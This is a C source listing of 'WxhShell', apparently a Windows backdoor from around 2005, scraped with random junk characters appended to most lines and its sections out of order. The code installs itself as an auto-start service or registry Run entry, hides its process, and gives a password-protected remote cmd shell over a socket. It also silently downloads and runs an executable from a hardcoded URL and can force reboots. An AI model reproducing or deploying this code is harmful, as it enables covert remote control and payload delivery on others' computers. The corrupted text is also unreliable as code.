    if(Boot(SHUTDOWN)) )w_0lm'v{r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); If>k~aL7I  
    else { ,0O9!^  
    closesocket(wsh); 'AU(WHf  
    ExitThread(0); e2CjZ"C  
    } Ae R3wua  
    break; %Ez=  
    } Q$Qs$  
  // 获取shell 'D(|NYY  
  case 's': { U|VF zpJ  
    CmdShell(wsh); rdZk2\<  
    closesocket(wsh); )!J0e-T-8O  
    ExitThread(0); $K>'aI;|  
    break; &Iv3_T<AF  
  } Uu ~BErEC  
  // 退出 SE/GT:}  
  case 'x': { *-"DZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W m\HZ9PN  
    CloseIt(wsh); unu%\f>^4  
    break; $}RBK'cr}  
    } gBb+Q,  
  // 离开 3* C9;Q}  
  case 'q': { |pxM8g1w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qE?*:$  
    closesocket(wsh); %_C!3kKv~  
    WSACleanup(); 6&/n/g  
    exit(1); sT:$:=  
    break; ;zVtJG`  
        } {#"[h1  
  } w&<-pIa`  
  } l?GN& u  
7\I,;swo  
  // 提示信息 /KGVMBifM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w6 0I;.hy  
} jx B  
  } :H($|$\h  
7(c7-  
  return; >8h14uCk  
} k+ [V%[U  
%_Gc9SI  
// shell模块句柄 L:UJur%  
int CmdShell(SOCKET sock) j6<o,0P  
{ #rnO=N8  
STARTUPINFO si; 5#kN<S!  
ZeroMemory(&si,sizeof(si)); *9.4AW~]X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x9S~ns+r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GBnf]A,^ @  
PROCESS_INFORMATION ProcessInfo; nv>|,&;  
char cmdline[]="cmd"; j_L1KB*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C3 >X1nU  
  return 0; ^y:!=nX^  
}  1t7vP;  
l]tda(  
// 自身启动模式 HUUN*yikj  
int StartFromService(void) p2T<nP<Pt  
{ 5n,?&+*L  
typedef struct USBU?WDt  
{ t* eZe`|  
  DWORD ExitStatus; rC )pCC  
  DWORD PebBaseAddress; /4x3dwXW@  
  DWORD AffinityMask; > Q[L, I  
  DWORD BasePriority; $M%<i~VXe&  
  ULONG UniqueProcessId; W ~(4t:hp  
  ULONG InheritedFromUniqueProcessId; ( -^-  
}   PROCESS_BASIC_INFORMATION; b {fZU?o  
cb|cYCo5  
PROCNTQSIP NtQueryInformationProcess; +pDZ,c,  
K??(>0Qr}r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n:QFwwQ`Q;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4#D=+70'  
8K(3{\J[V  
  HANDLE             hProcess; 7i(U?\A;.  
  PROCESS_BASIC_INFORMATION pbi; EVs.'Xg<  
v&}+ps_W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ` s [77V>  
  if(NULL == hInst ) return 0; m"3gTqG  
D}4*Il?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d@-s_gw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g Mhn\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); um.s :vj$  
.CU~wB@h  
  if (!NtQueryInformationProcess) return 0; 7O)j]eeoL  
[fVtQ@-S!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E(t:F^z&D  
  if(!hProcess) return 0; MPSoRA: h  
%K@s0uQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bWp40&vx  
ynkPI6o  
  CloseHandle(hProcess); J*4byu|  
}M_Yn0(3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #"PI%&  
if(hProcess==NULL) return 0; (H=7(  
z +NxO !y  
HMODULE hMod; oEfy{54  
char procName[255]; @|A w T  
unsigned long cbNeeded; c;RB!`9"  
&dA{<.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [Ol}GvzJ7  
#fT1\1[]  
  CloseHandle(hProcess); Hz A+Oi  
2R W^Nqc9  
if(strstr(procName,"services")) return 1; // 以服务启动 Y<1]{4Wt  
T2Duz,  
  return 0; // 注册表启动 5Z (1&  
} gie.K1@|  
VE_%/Fs,  
// 主模块 "XvM1G&s`  
int StartWxhshell(LPSTR lpCmdLine) K8>-%ns  
{ i;+]Y   
  SOCKET wsl; PWErlA:58  
BOOL val=TRUE; \gtI4zl*J  
  int port=0; E]Wnl\Be  
  struct sockaddr_in door; J})#43P  
# MpW\yX  
  if(wscfg.ws_autoins) Install(); pS [nKcyj  
>LqW;/&S<  
port=atoi(lpCmdLine); :i{$p00 G  
xw1@&QwM  
if(port<=0) port=wscfg.ws_port; cSMiNR  
I,rs&m?/m  
  WSADATA data; V s/Z8t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s> d /9 b  
X9:4oMux7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g7>p,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8Xo`S<8VS  
  door.sin_family = AF_INET; FPg5!O%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :Ng4? +@r  
  door.sin_port = htons(port); ;|nC;D]  
[X9s\H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { drv"I[}{A  
closesocket(wsl); MXQ S6F#  
return 1; _6Ex}`fyJ  
} ZH@BHg|}H  
h~\bJ*Zp  
  if(listen(wsl,2) == INVALID_SOCKET) { |dLA D4%  
closesocket(wsl); A4kYE A  
return 1; ez2rCpA  
} K/^70;/!.  
  Wxhshell(wsl); d5b \kRr  
  WSACleanup(); 4tZnYGvqe  
(YOp  
return 0; f76bEe/B9  
BkZmE,  
} 1m$< %t.>  
C`)n\?:Sth  
// 以NT服务方式启动 !21#NCw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {9 PeBc  
{ gy%/zbZx  
DWORD   status = 0; T(n<@Ac]V  
  DWORD   specificError = 0xfffffff; x+mf QcSD&  
wF@mHv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .bwKG`F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Hh|a(Zq,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =CCxY7)M+.  
  serviceStatus.dwWin32ExitCode     = 0; 4^? J BpBZ  
  serviceStatus.dwServiceSpecificExitCode = 0; w_*UFLMSqR  
  serviceStatus.dwCheckPoint       = 0; !;[cm|<E  
  serviceStatus.dwWaitHint       = 0; zAr@vBfC%  
pONBF3H8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )_7OHV *3  
  if (hServiceStatusHandle==0) return; z3 zN^ZT  
vZ<@m2  
status = GetLastError(); Obd};&6Q  
  if (status!=NO_ERROR) b[mAkm?9+1  
{ ZO^Y9\L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xlJ8n+  
    serviceStatus.dwCheckPoint       = 0; *58`}]  
    serviceStatus.dwWaitHint       = 0; ;PBybR W  
    serviceStatus.dwWin32ExitCode     = status; 5)}3C_pmW  
    serviceStatus.dwServiceSpecificExitCode = specificError; {nl]F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X={n9*Sd8  
    return; c5jd q[0  
  } xe4F4FC'  
N[(ovr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D$ >gAv  
  serviceStatus.dwCheckPoint       = 0; vCPiT2G  
  serviceStatus.dwWaitHint       = 0; <Z8I#IPl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {;iG}jK  
} Z$8 X1(o  
(3H'!P7|~  
// 处理NT服务事件,比如:启动、停止 t1y hU"(J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [CCj5N1/  
{ AqD)2O{VO  
switch(fdwControl) 8Z^9r/%*Z  
{ d#?.G3YmK  
case SERVICE_CONTROL_STOP: 'h?;i2[  
  serviceStatus.dwWin32ExitCode = 0; A;pVi;7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %J_`-\)"{~  
  serviceStatus.dwCheckPoint   = 0; b IS 3  
  serviceStatus.dwWaitHint     = 0; h^u 9W7.  
  { m' LRP:9v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rQW&$M  
  } 3EM=6\#q  
  return; `ViFY   
case SERVICE_CONTROL_PAUSE: 3Pb]Of#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E"EBj7<s  
  break; 3C=|  
case SERVICE_CONTROL_CONTINUE: L_3undy,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #0i] g)  
  break; ~@3X&E0S  
case SERVICE_CONTROL_INTERROGATE: h{ &X`$  
  break; _N.N?>  
}; >bKN$,Qen  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b~M3j&  
} b r"4 7i  
!,f#oCL  
// 标准应用程序主函数 rUb`_W@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NAy3Zd}  
{ ^'UJ&UfX  
B/*`u  
// 获取操作系统版本 r%*UU4xvB  
OsIsNt=GetOsVer(); 0a#2 Lo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]cz*k/*0  
fvW7a8k3  
  // 从命令行安装 gtcU'4~  
  if(strpbrk(lpCmdLine,"iI")) Install(); `%8byy@$  
7~t,Pt)  
  // 下载执行文件 FfDe&/,/  
if(wscfg.ws_downexe) { *AO^oBeY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sCX 8  
  WinExec(wscfg.ws_filenam,SW_HIDE); rA/jNX@S  
} |@}Yady@C  
Ha U6`IP  
if(!OsIsNt) { ur'a{BI2R  
// 如果时win9x,隐藏进程并且设置为注册表启动 '>GZB  
HideProc(); L_>j SP  
StartWxhshell(lpCmdLine); XQ+KI:g2  
} .?gpI Zv  
else ' (JSU   
  if(StartFromService()) MjO.s+I  
  // 以服务方式启动 rtl|zCst  
  StartServiceCtrlDispatcher(DispatchTable); PMDx5-{A/t  
else ]F,mj-?4x  
  // 普通方式启动 !'4HUB>+  
  StartWxhshell(lpCmdLine); l8"  
NH?q/4=I0W  
return 0; ?a8 o.&`l  
} Kr$ w"]  
CM; r\,o  
G0Q8"]  
]Zfg~K(  
=========================================== REyk,s2"6  
@O;gKFx  
{X=gjQ9  
T.1*32cX  
{8NnRnzU  
DEGEr-  
" 9-<EeV_/  
}Q7 ~tu  
#include <stdio.h> Et\z^y  
#include <string.h> e 1W9Z $m  
#include <windows.h> AE:IXP|c  
#include <winsock2.h> g~5$X{  
#include <winsvc.h> 93z oJiLRf  
#include <urlmon.h> =WaZy>n}7  
]fN\LY6p  
#pragma comment (lib, "Ws2_32.lib") 5jj<sj!S  
#pragma comment (lib, "urlmon.lib") dtK[H+  
pi>,>-Z  
#define MAX_USER   100 // 最大客户端连接数 t)Iu\bP  
#define BUF_SOCK   200 // sock buffer '\I.P  
#define KEY_BUFF   255 // 输入 buffer ;&|MNN^  
gZ!vRO <%  
#define REBOOT     0   // 重启 wnaT~r@U'  
#define SHUTDOWN   1   // 关机 aS^ 4dEJ  
"3kIQsD|j  
#define DEF_PORT   5000 // 监听端口 U5uO|\+)  
Mlr\#BO"9  
#define REG_LEN     16   // 注册表键长度 B~/:["zTh&  
#define SVC_LEN     80   // NT服务名长度 faqOGAb  
nf,R+oX  
// 从dll定义API CzP?J36W^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3` ov?T(H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jhd&\z-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $^ \8-k "  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mnK SO  
8IErLu}  
// wxhshell配置信息 b?6-lYE>L  
struct WSCFG { _7j-y 9V  
  int ws_port;         // 监听端口 d!+8  
  char ws_passstr[REG_LEN]; // 口令 [P5+}@t  
  int ws_autoins;       // 安装标记, 1=yes 0=no o6JCy\Bx  
  char ws_regname[REG_LEN]; // 注册表键名 IMaa#8,  
  char ws_svcname[REG_LEN]; // 服务名 0w'%10"&U+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XBd/,:q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w8!S;~xKI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o!q3+Pp;}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D4e*Wwk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U)Cv_qe  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i%jti6z$Hr  
h n:  
}; -O.q$D=as  
|7$F r[2d  
// default Wxhshell configuration )<_e{_ h  
struct WSCFG wscfg={DEF_PORT, '&?OhSeN  
    "xuhuanlingzhe", D%L}vugxK  
    1, ZPrL)']  
    "Wxhshell", ~YQC!x  
    "Wxhshell", Czj]jA(0f  
            "WxhShell Service", I9xQ1WJc`  
    "Wrsky Windows CmdShell Service", 'CE3 |x\%K  
    "Please Input Your Password: ", EbEQ@6t  
  1, "E4;M/  
  "http://www.wrsky.com/wxhshell.exe", !j'9>G{T  
  "Wxhshell.exe" > /,7j:X  
    }; PuKT0*_ 7  
OEz'&))J  
// 消息定义模块 (9!$p|d*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _wMc7`6F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %,HuG-L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 84xA/BRW  
char *msg_ws_ext="\n\rExit."; [)K?e!c8  
char *msg_ws_end="\n\rQuit."; El3Y1g3+3  
char *msg_ws_boot="\n\rReboot..."; \k?Fu=@  
char *msg_ws_poff="\n\rShutdown..."; 5F#Q1gP-  
char *msg_ws_down="\n\rSave to "; T#ktC0W]h  
`zQ2 i}Uju  
char *msg_ws_err="\n\rErr!"; TQXp9juK  
char *msg_ws_ok="\n\rOK!"; drr W?U  
JQ-O=8]  
char ExeFile[MAX_PATH]; s&T"/4  
int nUser = 0; ulY8$jB  
HANDLE handles[MAX_USER]; V1[Cc?o  
int OsIsNt; u\LbPk  
DG2CpR)S  
SERVICE_STATUS       serviceStatus; vuL;P"F4&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g^ @9SU  
(XF"ckma  
// 函数声明 >ZAb9=/M)F  
int Install(void); 3em&7QM  
int Uninstall(void); [1OX: O|  
int DownloadFile(char *sURL, SOCKET wsh); rCOH*m&  
int Boot(int flag); l* ~".q;S  
void HideProc(void); j2@19YXe@  
int GetOsVer(void); ;ps 0wswX  
int Wxhshell(SOCKET wsl); 6N7^`ghTf  
void TalkWithClient(void *cs); Ie12d@  
int CmdShell(SOCKET sock); b FV+|0  
int StartFromService(void); lB7 V4  
int StartWxhshell(LPSTR lpCmdLine); -&L(0?*qo  
7w}PYp1Z'~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N0]C?+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /z'fFl^6O  
5somoV B  
// 数据结构和表定义 ,hMd xZJd  
SERVICE_TABLE_ENTRY DispatchTable[] = 9j[lr${A  
{ dfo_R  
{wscfg.ws_svcname, NTServiceMain}, nSMw5  
{NULL, NULL} fdU`+[_  
}; ]UtfI  
/UwB6s(  
// 自我安装 n U0  
int Install(void) S6Er# )k  
{ tc.`P]R   
  char svExeFile[MAX_PATH]; W3AtO  
  HKEY key; UbWeE,T~S  
  strcpy(svExeFile,ExeFile); bSK> p3  
A*&`cUoA  
// 如果是win9x系统,修改注册表设为自启动 u\)2/~<]  
if(!OsIsNt) { ,CGq_>Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \J]qd4tF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }"QV{W  
  RegCloseKey(key); EbG`q!C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G@Jl4iHug"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [I XX#^F  
  RegCloseKey(key); K<BS%~,I  
  return 0; vdhwFp~Y  
    } Ub>Pl,~'  
  } l_?r#Qc7  
} 0!Zp4>l\Z  
else { WTlR>|Zdn  
**RW 9FU  
// 如果是NT以上系统,安装为系统服务 d9@Pze">e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -#TF&-  
if (schSCManager!=0) -XbO[_Wf  
{ {pzu1*  
  SC_HANDLE schService = CreateService s":\ >  
  ( 5eP0W#  
  schSCManager, [/P}1 c[)U  
  wscfg.ws_svcname, ~8rVf+bg3  
  wscfg.ws_svcdisp, VG)Y$S8.>  
  SERVICE_ALL_ACCESS, 8w 2$H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !)!<. x  
  SERVICE_AUTO_START, <KBzZ !n5  
  SERVICE_ERROR_NORMAL, aDDs"DXx  
  svExeFile, In3},x +$  
  NULL, ;*~y4'{z  
  NULL, G1 :*F8q  
  NULL, {[ E7Cf  
  NULL, ;usv/8  
  NULL -Hx._I$l  
  ); +Jf4 5[D   
  if (schService!=0) Oo)MxYPU  
  { -GqMis}c  
  CloseServiceHandle(schService); @i" ^b  
  CloseServiceHandle(schSCManager); t;>"V.F<1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  4E"OD+  
  strcat(svExeFile,wscfg.ws_svcname); J|'e.1v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bwr}Ge  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &,4 3&pFU  
  RegCloseKey(key); 6Cdc?#&  
  return 0; "OdR"M(G\  
    } ~F{u4p7{N  
  } YtQsSU  
  CloseServiceHandle(schSCManager); QH) uh"  
} /4Df 'd  
} 5O7 x4bY  
PkqOBU*|=  
return 1; g^`; B"  
} +nLsiC{&  
RhL!Z z  
// 自我卸载 Vm3e6Y,K  
int Uninstall(void) c:$W5j('Z  
{ Vk3xWD~  
  HKEY key; "Z\^dR  
`1 tD&te0  
if(!OsIsNt) { xs'vd:l.Pp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h 8ND=(  
  RegDeleteValue(key,wscfg.ws_regname); !BQ:R(w  
  RegCloseKey(key); )/B' ODa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hwon ^?  
  RegDeleteValue(key,wscfg.ws_regname); + A=*C  
  RegCloseKey(key); eM>f#M  
  return 0; #]vy`rv  
  } !)nA4l= S#  
} :(^, WOf  
} Sz"rp9x+  
else { f0<'IgN  
]jkaOj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vv9=g*"j  
if (schSCManager!=0) \nX5 $[  
{ m4 :|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0\Q/$#3  
  if (schService!=0) Z*M]AvO+#  
  { Fq-A vU  
  if(DeleteService(schService)!=0) { McXid~  
  CloseServiceHandle(schService); IM^K]$q$47  
  CloseServiceHandle(schSCManager); A3;}C+K  
  return 0; J7p'_\  
  } pOe"S  
  CloseServiceHandle(schService); j;3hQOl  
  } R Cgn\  
  CloseServiceHandle(schSCManager); R cz;|h8  
} K]<49`MX  
} t9!8Bh<  
*h H\H  
return 1; +V N&kCx)  
} 4ox[,  
2v;F@fUB.  
// 从指定url下载文件 [1 ?  
int DownloadFile(char *sURL, SOCKET wsh) ,[Bv\4Ah  
{ Bq20U:f  
  HRESULT hr; A-8[8J  
char seps[]= "/"; `Tt;)D  
char *token; )J['0DUrZK  
char *file; rEM#J"wF  
char myURL[MAX_PATH]; $;1TP|  
char myFILE[MAX_PATH]; WZ3GI l  
NJe^5>4`  
strcpy(myURL,sURL); G(;C~kHX  
  token=strtok(myURL,seps); 6oQSXB@  
  while(token!=NULL) -=+@/@nV  
  { {p70( ]v  
    file=token; G!^}z (Mgi  
  token=strtok(NULL,seps); w7;,+Jq  
  } .o&Vu,/H  
]:6M!+?(  
GetCurrentDirectory(MAX_PATH,myFILE); +ROwk  
strcat(myFILE, "\\"); a%fMf[Fu  
strcat(myFILE, file); j3J\%7^i  
  send(wsh,myFILE,strlen(myFILE),0); ;;3oWsil}  
send(wsh,"...",3,0); @_+B'<2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '/ >7pB  
  if(hr==S_OK) <6djdr1:b  
return 0; 5V{> 82  
else $z"1&y)  
return 1; gXQ s)Eyv  
??7c9l5,  
} 8vuA`T!~G  
j~ 'a %P  
// 系统电源模块 qkg`4'rLg  
int Boot(int flag) 1 po.Cmx  
{ t}!Y}D  
  HANDLE hToken; {zri6P+s  
  TOKEN_PRIVILEGES tkp; pI>[^7  
"P@jr{zvMd  
  if(OsIsNt) { x9U(,x6r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BwpSw\\?@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -VO&#Mt5u  
    tkp.PrivilegeCount = 1; ?_VoO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4$wn8!x2|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3O'6 Ae  
if(flag==REBOOT) { >[D(<b(U&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  V/8"@C  
  return 0; DUAI  
} _!} L\E~  
else { !97k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TrEo5H;  
  return 0; uE]kv  
} t@Bl3Nt{  
  } ZliJc7lss  
  else { `L=d72:  
if(flag==REBOOT) { [@PD[-2QG3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >,&@j,?']  
  return 0; o-f;$]yp>  
} Q, `:RF3  
else { Y]33:c_;Mo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^qro0]"LD  
  return 0; L2j7w006  
} 1c%ee$Q  
} b":3J)Y6.  
nc.(bb),  
return 1; 2jUEL=+Y  
} FD+y?UF  
\?VNr2   
// win9x进程隐藏模块 .:nV^+)  
void HideProc(void) C~ r(*nr  
{ A.%MrgOOX  
,?k~>,{3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0<n*8t?A-  
  if ( hKernel != NULL ) z87_/(nu  
  {  u51%~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qTA,rr#p0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /M3UK  
    FreeLibrary(hKernel); :Nt_LsH  
  } TJhzyJ"t  
X;vfbF   
return; ~:ldGfb|  
} a*g7uaoP  
T0Kjnzs  
// 获取操作系统版本 naHQeX;  
int GetOsVer(void) 43HZ)3!me  
{ W~QH"Sq  
  OSVERSIONINFO winfo; ]w+n39da  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0&@pD`K e  
  GetVersionEx(&winfo); l5*sCp*Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6HK dBW$/  
  return 1; =rB=! ;  
  else 6M/*]jLq4  
  return 0; '20SoVp  
} F70_N($i  
wyVQV8+&>  
// 客户端句柄模块 A;'*>NS  
int Wxhshell(SOCKET wsl) 'ZUB:R@[  
{ p[J 8 r{'  
  SOCKET wsh; ,e{|[k  
  struct sockaddr_in client; A$a>=U|Z8  
  DWORD myID; Q6e;hl  
O5lP92],  
  while(nUser<MAX_USER) *Bj7\8cKC  
{ w9c^IS  
  int nSize=sizeof(client); 97]$*&fH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qVidubsW  
  if(wsh==INVALID_SOCKET) return 1; 9wB}EDZ  
uHNh|ew21  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -{=c T?"+  
if(handles[nUser]==0) e+? -#  
  closesocket(wsh); W bP wO  
else .R<Ke\y/  
  nUser++; 5e|2b] f$  
  } u[>hs \3k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]-D&/88``  
5YW.s   
  return 0; ]%4rL S  
} @TWtM#  
[Dv6z t>  
// 关闭 socket %{sL/H_  
void CloseIt(SOCKET wsh) EK JPeeRY  
{ DJu&l  
closesocket(wsh); OSDx  
nUser--; >,#7 3u#  
ExitThread(0); KXS{@/"-B  
} Naqz":%.  
IdzrQP  
// 客户端请求句柄 <.N33 7!  
void TalkWithClient(void *cs) Y2B ",v"  
{ eKT'd#o2R  
-j<g}IG  
  SOCKET wsh=(SOCKET)cs; }p <p(  
  char pwd[SVC_LEN]; +I9+L6>UR  
  char cmd[KEY_BUFF]; i,h)  
char chr[1]; $d +n},[C{  
int i,j; ,O;+fhUJ(  
^UJ#YRzi  
  while (nUser < MAX_USER) { `"#0\Wh  
cfg_xrW0^  
if(wscfg.ws_passstr) { w{HDCPuS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NETji:d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (K}Md~  
  //ZeroMemory(pwd,KEY_BUFF); qOi3`6LCV  
      i=0; } XJZw|n  
  while(i<SVC_LEN) { \i +=tGY  
Mb2rHUr  
  // 设置超时 jcuC2t  
  fd_set FdRead; ~:|qdv%\  
  struct timeval TimeOut; u>cU*E4/  
  FD_ZERO(&FdRead); ] SErM#$*  
  FD_SET(wsh,&FdRead); G.}Ex!8R7_  
  TimeOut.tv_sec=8; 2S{IZ]  
  TimeOut.tv_usec=0; sXmZ0Dv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "?yu^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2Y2J)5,  
GkutS.2G#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2Y+8!4^L a  
  pwd=chr[0]; N)0I+>, ^  
  if(chr[0]==0xd || chr[0]==0xa) { yQ3*~d~U|L  
  pwd=0; ;?A?1q8*  
  break; T&5dF9a  
  } @rh1W$  
  i++; %~ROV>&  
    } d:x=g i!  
}&o*ZY-1  
  // 如果是非法用户,关闭 socket LhM{d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6Ee UiLd  
} !{L6 4qI  
S(5aJ[7Zm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F%v?,`_&I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OFtAT@ =O  
>;ucwLi  
while(1) { TN=MZ{L  
sT^^#$ub  
  ZeroMemory(cmd,KEY_BUFF); ,uFdhA(i@'  
nvyyV\w  
      // 自动支持客户端 telnet标准   #$qhxYyd  
  j=0; ZUW~ZZ7Z:  
  while(j<KEY_BUFF) { HKr6h?Si^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8+b ?/Rn0  
  cmd[j]=chr[0]; >H ,t^i}@  
  if(chr[0]==0xa || chr[0]==0xd) { i n^Rf` "  
  cmd[j]=0; x4HVB  
  break; dB^')-wA  
  } -ty_<m]  
  j++; cE*Gd^  
    } 54A ndyeA  
<( 0TK5  
  // 下载文件 u/D=&"tL  
  if(strstr(cmd,"http://")) { d9hJEu!Lu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4~G++|NQ  
  if(DownloadFile(cmd,wsh)) X5@rPGc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vk:m >?(  
  else U73{Uv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {FavF 9O  
  } w:}RS.AK  
  else { @jE<V=?  
RyGce' q  
    switch(cmd[0]) { ya9V+/i7T_  
